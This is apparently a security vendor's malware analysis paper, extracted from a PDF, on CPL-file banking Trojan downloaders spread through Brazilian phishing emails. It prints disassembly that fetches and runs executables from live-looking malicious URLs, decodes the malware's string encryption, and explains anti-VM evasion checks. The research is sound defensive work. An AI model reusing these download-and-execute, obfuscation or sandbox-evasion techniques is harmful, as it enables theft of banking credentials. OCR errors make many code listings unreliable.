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CPL Malware in Brazil: Somewhere Between
Banking Trojans and Malicious Emails

Introduction

In different countries and regions around the world, the malware detections trends vary depending on the particular habits of the
users or the region. In the Latin American region, ESET Latin America's Research Lab noticed one country differs from the rest in
LATAM in terms of detections. That country is Brazil, which has not only the largest population in the region but also speaks a
different language, Portuguese.

When discussing the threats detected in Brazil, a special reference is usually made to the malware families known as
Win32/TrojanDownloader.Banload and Win32/Spy.Banker. The fact that banking Trojans are the most frequently detected
threats in Brazil is not surprising; however, we will tell you how cybercriminals in this country have used a special type of
executable—CPL (Control Panel Application) files — to spread their threats, and we will discuss the evolution of this trend in the
last few years.

First of all, we will define what a CPL file is, how it works and how cybercriminals use it. We will analyze the methods used to
compromise a system and the purpose of the infection, providing details about their ability to obfuscate, to hide information and
to hinder protection of virtual environments.

Next, we will review their propagation methods. We will provide examples of emails, institutions and names of the files employed
to deceive the users by making use of Social Engineering techniques, so that the victims can be persuaded to download and
execute diverse threats in their systems, making it possible for the attackers to compromise their information.

Finally, we will share with you the scope, statistics and impact of these attacks, detailing how, over the years, the use of CPL files
by cybercriminals in Brazil has ceased to be a novel or an isolated event, and has become a trend in itself. Cybercriminals used the
most diverse filenames to get the victims' attention: in particular, names related to Boletos Bancarios, a very popular payment
method in Brazil.

Among the main reasons cybercriminals choose to use banking Trojans in Brazil — as opposed to the rest of Latin America — is that
Brazilian users have one of the highest rates of adoption of online banking services. According to data from comScore, in 2013
Brazil was the third Latin American country to use online banking services (measured by percentage of unique visitors in banking
sites)[1], but it also has the largest population in the region. Moreover, according to the data shared through social networks and
different reports, more than half the users in Brazil made an online banking transaction during 2013[2], as reported by the
Brazilian Federation of Banks FEBRABAN (Federagdo Brasileira de Bancos).

By the end of this article, you will understand the use of CPL files as a threat to Brazilian users and the propagation methodology
chosen by the cybercriminals to this end.


http://www.virusradar.com/en/Win32_TrojanDownloader.Banload/detail
http://www.virusradar.com/en/Win32_Spy.Banker/detail
http://www.comscore.com/Insights/Presentations-and-Whitepapers/2013/2013-Latin-America-Digital-Future-in-Focus
http://www.latinpost.com/articles/9959/20140402/online-banking-growing-brazil-more-half-made-digital-transactions.htm
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Description of CPL Files

Every CPL file is a type of dynamic link library, or DLL. DLL files store program code that is ready to be used by other executables —
it is said that the DLLs export functions that are then imported by any program in the system that calls them.

However, the DLLs cannot be executed by themselves. Indeed, when double-clicking a DLL file, the code will not be automatically
loaded — it needs to be called by another program in order for its code to be run.

Here we need to mention an exception of CPL files, which makes them different from their DLL counterparts — double-clicking on
a CPL file will trigger the automatic execution of the code contained in the file. But how is it possible when a CPL file is in fact a
DLL file? The answer is that, technically speaking, the code in a CPL file does not have autorun behavior, but when double-clicking
onit, control.exe starts to run, i.e. the Microsoft Windows Control Panel application, and that calls the CPL code.

For this mechanism to work properly, the CPL file must fulfil some requirements. The main prerequisite is that it contains an
export known as CPIApplet. At the same time, this routine must conform to a predefined prototype and structure[3].

Structure of the CPIApplet

For a DLL to be run automatically by the Control Panel, defining a routine called CPIApplet is not enough. The routine also needs
to match the function prototype as seen in Figure 1 (the programming language is independent of the mechanism: in this
example, the language used is Delphi).

function CPlApplet (

hwndCP1l: Windows.THandle;
uMsg: Windows.DWORD;
lParaml, lParam2: System.Longint

) : System.Longint;

Figure 1— CPIApplet prototype in Delphi

As can be seen, CPIApplet uses four parameters: hwndCPl is the identifier of the application's main window; uMsg specifies the
message being sent to CPIApplet each time it is called; and both IParam1 and IParam2 are used to send message-specific
information.

From all this, we should highlight the importance of messages for the mechanism of CPIApplet. A message is a number that
identifies an action to be performed at a particular time. Thus, communication between the Control Panel and the CPL is provided
by means of successive calls to CPIApplet with different messages. The CPIApplet code must consider the various execution
scenarios for each possible message. Figure 2 shows an example of a basic implementation of CPIApplet to handle the
messages[4][5].

function CPlApplet (hwndCPl: Windows.THandle; uMsg: Windows.DWORD; lParaml,
lParam2: System.Longint) : System.Longint; stdecall;
const
nonzZero := 1;
nApplets := 1;
begin
case ulMsg of
// Initialization. First call, after the CPL is loaded into memory
CPL.CPL INIT:
Result := nonZero;

// Returns the number of applets contained in the CPL
CPL.CPL GETCOUNT:
Result := nApplets;


http://msdn.microsoft.com/en-us/library/windows/desktop/cc144185%28v=vs.85%29.aspx
http://users.atw.hu/delphicikk/listaz.php?id=1283&oldal=7
http://users.atw.hu/delphicikk/listaz.php?id=1283&oldal=7
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// Returns info about the applet as specified in lParaml
CPL.CPL INQUIRE:
case lParaml of

0:
begin
// Instructions to assign icon,
// name of the applet and info to 1lParam2
//
Result := 0;
end;
else
end;

// Triggers the execution
CPL.CPL DBLCLK:

begin
// The main functionality of the CPL
// 1is executed here
//
Result := 0;
end;

// It releases the resources required to execute an applet
CPL.CPL STOP:
Result := 0;

// Last call, before the CPL is freed from memory
CPL.CPL_EXIT:
Result := 0;
end;
end;

Figure 2 — Structure and main messages of CPIApplet

Now we could ask ourselves, why are CPL files executed by the Control Panel? What is the role of the Control Panel? The answer
has to do with the fact that most of the icons or options present in the Windows Control Panel include a physical file with a

". cpl" extension. Consequently, all the CPL files that fit the required structure and are placed within the
"SWINDIR%\System32" folder will automatically appear in the Control Panel.

Nonetheless, it is worth mentioning that cybercriminals do not want their files to be noticed on the system. But this is not a
problem, since the CPL files that are not registered in the Control Panel can also be executed. With all this information, we can
now imagine why it is so attractive for cybercriminals to use CPL files. The CPIApplet routine is quite simple to implement,
allowing the malicious code to be included in the corresponding section of the CPL_DBLCLK message.

Propagation Campaign

To persuade their victims to execute the malicious CPL files and become infected, cybercriminals send fake emails, which is their
main means of propagating the malware. Therefore, they make use of social Engineering techniques to mislead users into
believing that the CPL file attached to the message is a document containing useful information.

Even though the different emails used to propagate malware through CPL files are far-ranging in the topic used and the entities
they pretend to come from, below we list the most used types of those bait messages:

e Adocument with a quotation, invoice or receipt.

e  Adocument with information on a debt or a banking situation.

e  Digital payment instruments used in Brazil, such as the Boleto Bancario or the Nota Fiscal Eletronica.

e  Files passed off as photographs, videos or other kinds of media files.

We can expect most of the propagated emails to include payment instruments to entice the potential victims to compromise
their machines, since those are the cases where the banking Trojan is most likely to succeed. The emails with presumed media
content are much less prevalent but have also been seen in some cases, so it is worth mentioning them. In Appendix C, you will
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find several samples of the emails used for propagation.

However, we believe we should briefly explain the document mentioned under the second entry —the Boleto Bancario. This
payment instrument, digitally issued and supported by a banking institution, contains a bar code and allows anyone to pay a
receiving party, usually by printing the document and paying at one of the places specially authorized for that purpose. Likewise,
the Brazilian electronic invoice called Nota Fiscal Eletronica is another digital document that makes it easier to purchase goods
from a supplier, and that relies on the digital signature of the issuer and the receiver and requires validation from a Brazilian
public organization.

Life Cycle of an Attack

Figure 3 shows the general scheme of an attack using CPL files in Brazil. It all starts with the propagation of the malicious files
spread with email messages. The emails contain attached files, or links via which to download files from compromised servers. In
either of these two cases, the downloaded file has gradually changed as cybercriminals adapted their modus operandi: at first,
the CPL file was attached or directly downloaded; then, the CPL was compressed in a ".ZIP" archive; and finally, the emails had an
attached HTML file, which was made up of a single line of code with a "refresh" element that downloaded the ZIP file to the
system — this last technique is detected by ESET as a variant of HTML/Refresh. In any case, the success of the attack relies on the
ability to persuade victims to execute the CPL files, by making them believe that they are actually documents or other types of
legitimate files.

Once the CPL is run in the system, it downloads a banking Trojan from a server; the URL is included in the CPL, either as plain text
or encrypted. When the Trojan is executed, it will first look for a way to make itself persistent in the infected system, and then it
will start to gather banking data from the victim. If there are login credentials, screenshots or any other kind of banking
information available, they will be sent to the cybercriminal.

‘ CYBERCRIMINAL ’\
Bank credentials Attachment

and data are sent orexternal link

- in e-mail
: [ ZIP |
How does CPL e
malware work?

Trojan banker Downloads ZIP with CPL
steals data orsimply a CPL file

tovictim'’s computer

=

/\

s | J
Breached
VICTIM Trojan banker or Malicious server

is downloaded

Figure 3 — Life cycle of an attack using CPL files


http://www.virusradar.com/en/HTML_Refresh/detail
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Technical Analysis of Malicious CPL Files

Even though there are some differences among the many files we analyzed, in this section we will describe the general structure
and the main actions performed by the payload of the most representative files. It is important to mention that almost all of the
samples that make up our pool were written in Delphi, with the exception of those with custom-made packers, which were
developed in languages such as Microsoft Visual C.

CPlApplet

This might not be new, but the structure of CPIApplet closely follows what we have described in the previous sections. The code
is clearly structured in such a way that allows incoming messages to be managed through a big conditional switch construction.
Figure 4 shows a CPIApplet snippet.

s 55
dec eax b, Graph overview i 0Oe& x
jz short loc_423115

M
dec eax
jz short loc_423133

eax
loc_423178

eax, 2
loc_423198

loc_423133: loc_h423198: ; CPL_DBLCLK| |loc_423178: loc_4231A8:

mov eax, ds:dword_u45874C mov edx, [ebp+arg_C] mov edx, [ebp+arg_C] edx, [ebp+arg_C]
call sub_422FCC mov eax, ebx mov eax, ebx eax, ebx

mov [ebp+var_u4], eax mov si, OFFEDh mov si, OFFECh si, OFFEEh

lea edx, [ebp+uar_u] call  sub_u838F4 call  sub_u838F4 sub_u838F4

nov eax, ds:dword_45074C jmp short loc_4231D6 jmp short loc_4231D6 short loc_4231D6
mov si, OFFEDh

call sub_40838F4

jmp loc_4231D6

Figure 4 — Reversing CPIApplet

If we pay attention to the small graphic in the upper right corner, we will get an overview of CPIApplet. In particular, we can see
how the different cases of the conditional switch are next to each other, aligned at the bottom. We know that messages are
specified by a number and, based on that number, the CPIApplet routine determines the code to execute. So, the previous figure
shows the code that handles four of those messages.
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Based on the above, we see that CPIApplet may receive multiple calls, according to the flow of messages we can find in the life
cycle of a CPL in memory. This flow of messages is illustrated in Figure 5 (the numbers shown there are the constants defined for

each message).

Sheli32.dll

DlIMain()

CPIApplet() L CPLINIT

2. CPL_GETCOUNT
3. CPL_INQUIRE

4. CPL_NEWINQUIRE

MALICIOUS
CPL_DBLCLK = MALK !

6. CPL_STOP

7. CPL_EXIT

DlIMain()

Figure 5 — Flow of calls and messages sent to CPIApplet.

First, we see that the CPL Entry Point is in its DIIMain routine, which performs generic initialization tasks. As is the case with DLL
files, DIIMain is executed in the CPL when the CPL is loaded into memory (after a call to LoadLibrary in shell32.dll), as well as
before exiting memory[6]. We might ask ourselves, then, whether malicious code can be dropped into DIIMain, an issue that will
be discussed later in this paper.

Following initialization, the CPIApplet routine is called successively with the messages seen in the image, in order from top to
bottom. Although we are not going to provide specific details about each one of the messages, we need to highlight CPL_DBLCLK,
since that is the location of the main code to be executed —in our case, the place where we will find the payload of the malicious
CPL files. If we take a look at Figure 4, we can see that the code that handles each message in fact is calling the same routine,
which determines the actions to be taken. In the case of CPL_DBLCLK, this routine resolves and then calls the routine with the
payload.


https://msdn.microsoft.com/en-us/library/windows/desktop/ms682583%28v=vs.85%29.aspx
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Malicious Payload

The efforts malware developers have put into the CPL files are concentrated in the code triggered by the CPL_DBLCLK message.
Many of the analyzed files contain all of their malicious code in this part, making its analysis easier.

So what is the purpose of this malware? What actions does it perform and what information is it trying to steal? To answer these
questions, we can say that a large percentage of the CPL files analyzed in our Lab (the figures are shown in the Statistics section)
behave as Trojan Downloaders. These are malicious programs whose sole purpose is to download other malicious files onto an
infected system and execute them.

The structure of the payload that prevails in most of the CPLs analyzed can be described as having the following parts:
- Initialization.
- Construction of URLs and file download.
- Execution of downloaded files.

push ebp

nowv ebp, esp Graph owerdiew ]|
push BCX =
nov ecx, 7 R LJ ............. :
[P

[l et [ T N i

loc_ 4L4EQDD:

push a

push a

dec ecx

jnz short loc 4W4E9DD

il et 5

xchg ecx, [ebp+var_u]

push ebx

zor eax, eax

push ebp

push offset loc_44EB9B

push dword ptr fs:[eax]

mov fs:[eax], esp

nov eax, 753b6h ; 30 secs (GetTickCount)
call sleep_a_nap

lea ecx, [ebp+var_u]

Xor edx, edx

nov eax, 1Ah ; CSIDL_APPDATA

call get_path

moy edx, [ebp+var_4] ; path to appData‘\Roaming
mov eax, offset dword 452D3C ; Hemory location to store string
call save_str

mov al, byte_ u44EBAL4

push eax

Figure 6 — Malicious payload snippet with initializations

As the inset in Figure 6 shows, the flow of the whole routine is fairly linear, and we can see the initialization actions in particular.
First, a space allocated on the stack is initialized to zero — the different strings used by the CPL will then be stored there.
Afterwards, the execution does not perform any action (it sleeps) for 30 seconds. At last, it recovers and stores the path to the
"$SAPPDATAS" folder in the system. It is worth mentioning that not all the analyzed files carry out the same actions: some do not
sleep for 30 seconds, others retrieve different system folders or perform some other actions; nonetheless, this is the general
scheme that best fits most of the analyzed cases. Figure 7 shows the next code snippet, where the URLs are defined (either
encrypted or in plain text) and the files are downloaded.
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lea eax, [ebp+uvar_8]

push eax

lea edx, [ebp+uvar_C]

mowv eax, offset a@e4099b8154884 ; ""O004699B8154884AD
call decipher_str ; "roaming”

mowv edx, [ebp+var_C]

b1l eCcx, EcCX

mowv eax, ds:dword_452D3C

call sub_48CBEC

mow edx, [ebp+var_8]

mow eax, offset dword_452D3C

call save_str

lea edx, [ebp+var_18]

mov eax, offset a%aac24d57296c? ; ""SAACZLDS7296C9A42F"
call decipher_str ; Desk.exe

mow eax, [ebps+var_18]

push eax

lea edx, [ebp+var_14]

mou eax, offset a32aB2bdd7d8182 ; "32A82BDD7DBAS2FF20053B2FAB3LOAZ907E926A . .
call decipher_str ; http://fwwm_advogadoscaxias.com.br/ ... /Clx_x_.png
mou eax, [ebp+var_14]

®or edx, edx

pop eCcx

call download URL

mowv eax, offset a32a82bdd7d8182 ; "32A82BDD7DBA182F7290953B2FAB3L9A3997E926R ...
lea edx, [ebp+var_1C]

call decipher_str

mou eax, [ebp+var_1C]

lea edx, [ebp+var_18]

call sub_4@7F7C

mowv edx, [ebp+var_18]

mowv eax, offset dword_44EC9C

call sub_484ABC

test eax, eax

jle short loc_ 44EAEG

Figure 7 — Payload snippet with encrypted strings

Our analysis shows that the payload always calls decipher_str after the appearance of each encrypted string. Then, based on
these strings, the download URL is retrieved and the path where the downloaded file will be stored is created. In the example
shown above, the file to be downloaded — which seems to be an image —is stored in "$APPDATA% \Desk.exe". The
download_URL routine is commonplace, based on standard Windows API functions. As for the decryption routine used, we will

describe it in detail in the next section.

It is worth noting that not all the analyzed CPL files use encrypted strings; in fact, many of them have strings in plain text. These
CPL files do not make calls to decipher_str subroutine, as we can see in Figure 8.

10
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lea
call
push
lea
call
mou
lea
call
push
push
lea
mou
call
lea
mou
call
mou
mou
call
push
push
push
mou
call
push
push
push
call
call
test
jnz

edx, [ebp+var 4]
sub_haD128
[ebp+uar_4]

eax, [ebp+var_18]
sub_469BE4

eax, [ebp+var_18]
edx, [ebp+var_14]
sub_469C7C
[ebp+uar 14]

offset dword 469ECH
eax, [ebp+uvar_8]
edx, 3

sub_4847EQ

eax, [ebp+var_C]
edx, offset aHttpi1s
sub_ha44F g

edx, [ebp+var 8]
eax, [ebp+var_C]
download_URL

1 ;N
offset Directory ;
offset Directory ;
eax, [ebp+var_g]
sub_h84920

eax ;1
offset Operation ;
a ; h
ShellExecuten
sub_469D3C

al, al

short loc_H469ES9

6_2082_ 17 ; "http://186.2062.179.118/18-87-homer .exe"

aHttp186_262_17 db 'http://186.202_.179.116/18-07-h

db ‘exe’',B

ShowCmd
1phirectory
1pParameters

pFile
“Open"
und

omer . "

Figure 8 — Example of malicious CPL with strings in plain text

The last snippet of the malicious payload is the part responsible for executing the downloaded files through ShellExecute, as can
be seen in Figure 9. Our analysis shows that the actions performed by these malicious CPLs are simple and effective. The CPL file
does not persist in the system but downloads and runs other threats instead, and intends to go unnoticed. Thus, we will not find

changes in the registry nor other indicators telling us that the malicious CPL is present in our system.

i s =

push 1 ; nShowCnd
push ] ; lpDirectory
push 8 ; 1pParameters
lea edx, [ebp+var_24]

mov eax, offset a5a3ac24d57296c? ; "SAACZLUDS7296C90L2F™
call decipher_str ; Desk.exe

mov ecx, [ebp+uar_24]

lea eax, [ebp+var_28]

mov edx, ds:dword_452D3C

call prepend_char

mov eax, [ebp+var_ 28]

call sub_ 404978

push eax ; 1pFile

push offset Operation ; “open”

push a 5 hund

call ShellExecutef

mov eax, ds:off_450FE4

mov eax, [eax]

call sub_44CF70

L
Figure 9 — Execution of the downloaded threats

11
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12

Many of the CPL files that we have analyzed are variants of the malware family Win32/TrojanDownloader.Banload[7]. These are
Trojan Downloaders that install banking Trojans. Now, given the relevance of online banking in Brazil, we can understand why
the downloaded threats are such.

String Encryption Algorithm

Most of the encrypted samples use a decryption method that is based on subtractions and XOR operations. The key used to
decrypt the strings is hard-coded in the decryption routine itself. The syntax of the encrypted strings and key expressed in EBNF
notation is shown below:

digit = "O" | MIM | "2M | M3 | 4T | M5O vET | "M vgr | "o
hex_alpha = "A" | "B" | "C" | "D" | "E" | "F"

alpha = hex_alpha | "G" | "H" | "I" | "J" | "K" | "L" | "M" | "N" | "O" |
WP MQU | MR™ | MS" | MTU | MU | VM| W[ XM MYzt

hex pair = (digit | hex_alpha), (digit | hex_alpha)
alphanum = digit | alpha

cipher string = hex_pair, hex pair, {hex_pair}
key = alphanum, {alphanum}

Or, as a regular expression:

cipher_ string = [A-F0-9]{4} ([A-F0-9]{2})~*
key = [A-Z0-9]+

Therefore, we can see that the encrypted strings consist of at least two pairs of hexadecimal characters (in uppercase); anyway,
there will always be an even number of characters. The key is composed of at least one alphanumeric character in uppercase.
While we have seen a few cases of keys with other characters (such as the "@" or "!" symbols), we did not include it in the
regular expression for simplicity.

Figure 10 shows an example of the decryption algorithm. In the first step the characters of the encrypted string are taken two at
a time, while in the case of the key, they are taken singly. This is because those two characters in the encrypted string are taken
as a two-digit hexadecimal number. Each character in turn in the key also gets its representation in ASCII code, in hexadecimal.
Therefore, it is possible to perform a XOR operation between the two numbers.
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Key
—— 26B362FF56F01037A8588AC060E16FEASDALE358CF375EA79E90FO

String
32A82BDD7D8182F729953B2FA0349A ...

OxA8

| AsCll 2 Ox32m

Ox9A

Key
26B362FF56F01037A8588AC060E16FEASDALE358CF375EA79EQ0FO

String
—— 32A82BDD7D8182F729953B2FA0349A ...

OxA8
0x32

Ox9A
—> 0x32

0x68

|

Figure 10 — String decryption algorithm

You probably have noticed that Step 1 of the algorithm skips the first pair of characters in the encrypted string and starts with the
second pair. In the second step the preceding pair of characters of the encrypted string is used, subtracting that number from the
result obtained in the previous step. At this point, the result of the subtraction is taken as the representation of an ASCII
character. In our example, the result is the ASCII code for the letter "h".

It is worth noting that, in the event that the subtraction operation result give a negative number (which happens if the minuend is
less than the subtrahend), the value OxFF is added to the minuend before the subtraction is made. Figure 11 illustrates how the
process continues for the first 7 characters of the encrypted string.
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OXA8  Ox2B OXDD  OX7D 0x81  Ox82  OXF7
XOR XOR XOR XOR XOR XOR
0x32  0x36 ox42  0x33 0x36  Ox32  Ox46
OX9A  OXID+OXFF  OX9F  Ox4E+OXFF  OxB7  OXBO  OXBI
ox32 “““oxAs *ox28 *““oxDD *oxrp “"oxs1 *“*oxs2
0X68  Ox74 OX74  Ox70 OX3A  OX2F  OX2F

h t t p e

Figure 11 — Decryption of the first 7 characters of an encrypted string

Figure 12 shows the main part of the decryption routine in IDA Pro. It reads and stores the first two characters of the encrypted
text and then begins with the decryption itself. Afterwards, the next couple of characters of the encrypted text (and its
corresponding key) are read and the XOR operation is carried out. Then, the SUB operation is done using the pair of characters
that had been read at the very beginning and the result is concatenated to the buffer of the decrypted text. Finally, the last step
is to copy the pair of characters used in the XOR encryption so that they become the second SUB operand in the next iteration. It
is worth noting that if the key reaches the last character, and there are still characters to decrypt, the key is run one more time
from the beginning. Appendix A shows the implementation of the decryption routine in Python.
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mov ecx, 2 ; number of chars to read
mov edx, 1 ; strindex

mov eax, [ebp+cipher_text] ; cipher string
call get_substr

mou ecx, [ebp+var_124]

lea eax, [ebp+var_128]

mov edx, offset dword_A44E7BC ; char 4

call prepend_char

mou eax, [ebp+var_128]

call hex_from_ascii ; Example: "1A" -> Bx1A
mou edi, eax ; this remains in EDI until sub operation
mou [ebp+strIndex], 3

L__Wv

il s 5

loc_4hE67h:
lea eax, [ebp+uvar_12C]
push eax

A R : mov edx, [ebp+strindex] ; index
i : mow eax, [ebp+cipher_text] ; cipher string
call get_substr

moy ec®, [ebp+var_12C]

lea eax, [ebp+uvar_128]

mov edz, offset dword_A44E7BC ; char g
call prepend_char

moy eax, [ebp+var_128]

call hex_from_ascii ; Example

1A -» Bx1A

cmp esi, [ebp+constant length] ; Key index
jge short loc 44EGC3

mou ecx, 2 ; number of chars to read

mov [ebp+cipher_char_2], eax ; 1st operand of XOR

A J Y
FIZE bl i =
inc esi
jmp short loc_A44EGCB| |loc_A44EGC3T:
mou esi, 1

Y

e =

loc_A44E6GLCE: ; the key

mov eax, [ebp+long_constant]

xor ebx, ebx

mou bl, [eax+esi-1] ; 2nd op

®or ebx, [ebp+cipher_char_2] ; XOR
cmp edi, ebx

jl short loc 44EGES

]

MEE FEFE

add ebx, BFFh add FFh to avoid negative SUB
sub ebx, edi SUB loc_44EGES:
jmp short loc_A44EGER sub ebx, edi

5 SuB

[ J
Yy

P2l

loc_A44EGER: ; deciphered text buffer

lea eax, [ebp+buf_plain]

mou edx, ebx

call sub_L4B46A8 ; concats deciphered char

mov edx, [ebp+buf_plain]

lea eax, [ebp+ptr_buf_plain]

call sub_ 484780 ; copies pointer to deciphered buf

Figure 12 — String decryption routine
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Variant with a Dynamically Loaded Key

The fact that in most cases URLs are in plain text or use a hardcoded key in the decryption routine allowed us to extract URLs
from hundreds of malicious samples automatically, using a custom script. If the URL is in plain text, then you just need to parse
the CPL file. On the other hand, if the URL is encrypted, you have to parse the binary to look for encrypted strings and its key, and
then apply the decryption routine. Appendix B shows a list of the URLs that have been obtained statically.

Something that caught our attention was that some files were classified by our scripts as having strings encrypted with the
described algorithm, but the automatic decryption process was not successful. When trying to find out more about this kind of
sample, we found that the decryption routine was identical to the one described above, except that the key was not available in
its static form.

From the analysis of these particular samples, we saw that one of the first actions taken by the payload consists of loading the
key into memory. To do this, it calls a routine that opens a resource contained in the CPL file. This is completed by a series of calls
to FindResource, LoadResource, SizeofResource and LockResource, after which a resource of the RT_RCDATA type (raw data) is
loaded into memory. The name of the resource is random; an example is shown in Figure 13.

[ Resource Hacker - C:\Users\Labo\Desktop\Comprovante_depasito.cpl (2]
File Edit View Action Help
D String Tahle 00024120 78 DA CD BD DB AE 26 39 97 5D 77 9F 40 BE 4B FO xﬁi‘»ﬁﬁ@&g—-] wYEXKS ~
=] i3 RCData 000zZA130 14 11 BC E4 21 63 48 10 60 08 BE 31 F4 FE OF E2 =elgE | hH= " »X16p & |:|
Cj DVCLAL 00024140 31 D6 AE 6E 49 EE 44 55 03 36 24 A9 Al AA 3F 2B 108nIiJU=65@;2 2+
Ea FOGYDYBSISAR 000zA150 F7 FE BE 08 72 71 AE 39 D7 89 FF ES FF F8 CF ES X rg@9=%iaie

o [ 00024160 3F FC SF 65 FF E7 BC FE CF FF 32 FE D3 FF FD FC ?u_evgypivzpévgu
00024170 C7 F7 3F FD FE 75 9F 7E F5 34 73 29 65 EF 37 7F G+ 2?¥pui~d:s)ei’l

(1 PACKAGEINFO 00024180 A5 SF EF 35 F3 5C E9 69 FD 3D F5 59 E7 64 F3 BD ¥ iSo\éiy=8Ygidk
B2 TAPPLETMODULET ||nnpza190 €7 6C 8D 7F BE 67 B6 27 OF Bl DA EC B3 A4 EF BA Gl [%gq' ¥4Ui“mio
00024140 76 BE D6 F3 EC 99 F2 BS FB BA EF F3 8D EB 4E 77  wx06i™opticid éNw
0002A1BO 1B DF C3 CF EC DA CF 57 D3 E1 AF F7 77 BS BC CB BATITIWOE - wpkE
0002A1CO DD E7? BC 53 SE E3 F1 3F 7C 73 F6 FA 3D B9 E6 9D  VgkS &H?|sou=‘a
0002A1D0 D6 D3 DF EF 4B 75 EE 35 F9 9B SF 4F E1 CB BF BC  OO08iKuiSu> Od&Egk
000241E0 F9 FO EF F7 AF AF A5 99 74 E9 B3 CD D3 76 CF A3  usiz~ ¥zé?Idvit
0002L1F0 FS5 74 6L 44 65 9E 9C EE 67 9C 74 8D FB E2 9B 52  dzjdeZeiget (4R
00024200 FE F6 BE AE 54 78 F6 DC 2E 9E BA 96 EF 94 34 F8  hoX®@Txol.2°-i%4e
00024210 AF 2D E7 7D SF B3 D4 3B 9D 74 F7 F3 DE F3 DD E3 -g}_20; t:dkova
00024220 ED 93 BF EB ES E3 DS 6B EB 3D CD 47 BD 2B 5D A7  i“;&3&0ke=1I§%+1§
0002A230 8C DE EA CD 4F DS 55 F6 57 DF 32 5B DF 63 CC EF  @péIofuausz[seii
000234240 7D BE 9D DA FC 56 4D 7B 5C 6F 61 15 67 E6 27 BF X UiVlM{\oarge';
00024250 9C C7 53 AF F3 B4 FL 66 DE F3 FD FD 8B 85 AD ED @GS o ufboyyc.i
00024260 9C F3 7C 87 37 E2 3B 57 5D 75 7F FD CA A5 ED 77  d|#74:Wul yE¥iw
00024270 D6 39 CB 95 46 6D DF 48 75 3D 2C 74 EF F9 AB FC  O9E-FrbHu=, tilil
00024280 EO 64 FB DC 79 AC 74 BF 2C 7B 7D Fi D7 D3 73 D5  ajully-zg, {3ux0sd
00024290 BC 78 Bl C1 AF 96 FE 7D FB 61 1D DA FE 44 74 CB  Mwxxi -p}ia-UpJzE
00024240 CD 34 BO 3E 3C C1 61 89 EE FC EC SE 4B BE 9E BE  I:°><ianiui’Kxzx
000ZA2BO F3 48 SF B9 F7 SE 85 A7 9E DF 7C E6 ES F7 4C 65  OH_*:*.§iB|=e:le
000242C0 2D D6 23 CF 9C 7F FF 34 EF F5 A5 BB 60 09 73 B4  -Ofic] §:1i8%» s’
0002A2DO 31 F6 7C SF B6 9F 4F 5S4 BD CC BB 8F 9E BE 59 6F 18| _9q¥ozxi» #x¥o
0002A2E0 56 E6 7B DE C1 F2 BS 56 BE C2 92 D5 FC 5D CF EO  WVa{Pbiopvxi’du] Ia
0002A2F0 E7 78 BS 79 DF EB OD 83 B3 74 EE ES 54 A9 E5 7E  gx,ybé-f, zidZ@a~
0002A300 OF 4C 8A ED 48 05 6B 68 AC 65 49 FB 79 SE BE EC  *L3i” *kh-eIdy*%i
00024310 F4 51 6E 76 B9 SF FS5 2E F3 1B BD SF 33 AE 84 DD 4Qnv*_8.6+% 3@57
0002A320 DD A3 BF F7 C7 22 EE FE FO 56 CF 3E F5 AL BF 7F  VE£g:Gripsvis&2gl

[Line: 1 \ 19436 | 4

Figure 13 — Binary resource with the decryption key for the strings

Note that this resource is encrypted, so that certain operations have to be applied to obtain the decryption key.
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Code in DIIMain and Anti-VM tricks

As we already mentioned above, since DIIMain is executed before CPIApplet: when a CPL is loaded into memory, there is no
reason why DIIMain could not contain malicious code. While the majority of samples do not present any additional type of code
in DIIMain, we have found some cases in which they used detection techniques for virtualized environments. Figure 14 shows the

overall structure of this det

ection routine.

[l s 5=

sub_4ABB98 proc near

push ebx

push esi

mouw esi, eax

mowv eax, esi ; stack wvar
moyv edx, ds:off_4AEB38 ; Hative
call save_str

mou b1, 1

call chk_wvine

test al, al

jz short loc_4ABBBB

¥
FEIE

loc_Y4ABBBE:

call chk_vmware

test al, al

jz short loc_4ABBD3

loc_4ABBFA:
nov eax, ebx
esi
ebx

sub_4ABB98 endp

Figure 14 — Detection of virtualized environments

loc_4ABBD3:
call chk_virtualPc
test al, al
jz short loc_4ABBEB
] 1
 J L
MEHE]
eax, esi eax, esi eax, esi
edx, ds:off_4AEB3B edx, ds:off_4HAES34 edx, ds:off_U4AEB3C loc_4ABBEB:
save_str ; Wine save_str ; UnWare save_str ; UirtualPC| (mov eax, esi
short loc_4ABBFA short loc_4ABBFA short loc_4ABBFA nov edx, ds:off_4AES3A
call save_str ; Hative
xor ebx, ebx
|

We observed checks for three different environments: Wine, VMware, and Virtual PC. If any of these verifications turns out to be

successful, the save str routine is called, by means of which a string (indicating the type of virtualization detected) is stored in

a stack variable. Then, when CPIApplet is called for the first time, the value of this variable is checked. If any kind of virtualization
was detected, its execution stops right there, without reaching the part of the CPIApplet code for CPL_DBLCLK.

Figure 15 shows part of the verification code for Wine. The mechanism employed is to check whether GetProcAddress resolves
valid addresses for wine_get_version and wine_nt_to_unix_file_name[8]. Since these two routines do not exist natively in

ntdll.dll, but do in Wine, any address in memory different from zero will indicate that the routines have been implemented, and
therefore the execution is not taking place in a native system.
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mov eax, [ebp+var_ 4]
mou edx, offset alUnknown ; “Unknown®
call save_str

push offset aHtdll dl1l ; “ntdll.dil™
call LoadLibraryn

mow edi, eax
cmp edi, 28h
jbe short loc_ 4ABATG
‘ Y
[l el 5=
push offset alWline get versi ; "wine get version"
push edi : hHodule
call GetProcAddress_ 0
mow esi, eax
push offset aWine nt_to uni ; "wine nt to uniz File name"
push edi : hHodule
call GetProcAddress @
mou edz, esi
test edx, edx
jnz short loc 4ABASS
MIEE
test Pdx, eax
jz short loc_ 4ABA7 @
Yy
loc_4ABASS:
mouv bl, 1
test edx, edx
jz short loc 4ABA7A
il e 55
call esi
lea edx, [ebp+var_ 8]
call sub_ L4A984Y
mov ed®, [ebp+uar_ 8]
mov eax, [ebp+uar_A4]
call save_ str

|
Figure 15 — Verification for Wine

Figure 16 shows the technique used for VMware. In this case, the malware writers have used a well-known mechanism —
retrieving the VMWare version by communicating with 1/O ports. This is possible because VMware monitors and intercepts the
use of the "in" instruction, an action that is necessary to ensure communication between the virtual machine and its host. In
particular, if this instruction is executed with the registers as specified in the image and with the operation code 0x0A in ECX,
and the result obtained is the magic value "VMXh" in EBX, the application is known to be running in VMware[9].

18
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push ebp

mov ebp, esp

add esp, OFFFFFFF4h
push ebx

push esi

push edi

mov [ebp+var_C], eax
Xor eax, eax

mov [ebp+var_A4], eax
xor eax, eax

push ebp

push offset loc_4AB98A
push dword ptr fs:[eax]
mov fs:[eax], esp
push eax

push ebx

push ecx

push edx

mov eax, "UMXh®

mov ecx, OAh

mov dx, "UX®

in eax, dx

mov [ebp+var_4], ebx
